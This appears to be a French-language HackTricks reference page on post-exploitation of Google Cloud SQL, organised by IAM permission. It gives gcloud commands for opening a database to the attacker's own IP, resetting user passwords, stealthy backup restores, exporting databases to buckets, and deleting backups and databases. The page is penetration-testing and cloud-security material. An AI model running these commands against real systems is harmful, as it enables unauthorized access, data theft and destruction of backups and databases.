GCP - Cloud SQL Post Exploitation

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Cloud SQL

Pour plus d'informations sur Cloud SQL, consultez :

pageGCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Pour vous connecter aux bases de données, vous avez simplement besoin d'accéder au port de la base de données et de connaître le nom d'utilisateur et le mot de passe, il n'y a pas d'exigences IAM. Ainsi, un moyen facile d'obtenir l'accès, en supposant que la base de données a une adresse IP publique, est de mettre à jour les réseaux autorisés et d'autoriser votre propre adresse IP à y accéder.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Il est également possible d'utiliser --no-backup pour perturber les sauvegardes de la base de données.

Étant donné que ce sont les exigences, je ne suis pas complètement sûr à quoi servent les autorisations cloudsql.instances.connect et cloudsql.instances.login. Si vous le savez, envoyez une PR!

cloudsql.users.list

Obtenez une liste de tous les utilisateurs de la base de données:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Cette permission permet de créer un nouvel utilisateur à l'intérieur de la base de données :

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Cette permission permet de mettre à jour un utilisateur à l'intérieur de la base de données. Par exemple, vous pourriez changer son mot de passe :

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Les sauvegardes peuvent contenir d'anciennes informations sensibles, il est donc intéressant de les vérifier. Restaurer une sauvegarde à l'intérieur d'une base de données:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Pour le faire de manière plus discrète, il est recommandé de créer une nouvelle instance SQL et de récupérer les données là-bas au lieu de le faire dans les bases de données actuellement en cours d'exécution.

cloudsql.backupRuns.delete

Cette autorisation permet de supprimer les sauvegardes :

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exporter une base de données vers un Bucket Cloud Storage pour y accéder à partir de là :

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

Importer une base de données (écraser) à partir d'un Bucket Cloud Storage :

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Supprimer une base de données de l'instance de base de données :

gcloud sql databases delete <db-name> --instance <instance-id>
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge HackTricks AWS)!

D'autres façons de soutenir HackTricks:

Dernière mise à jour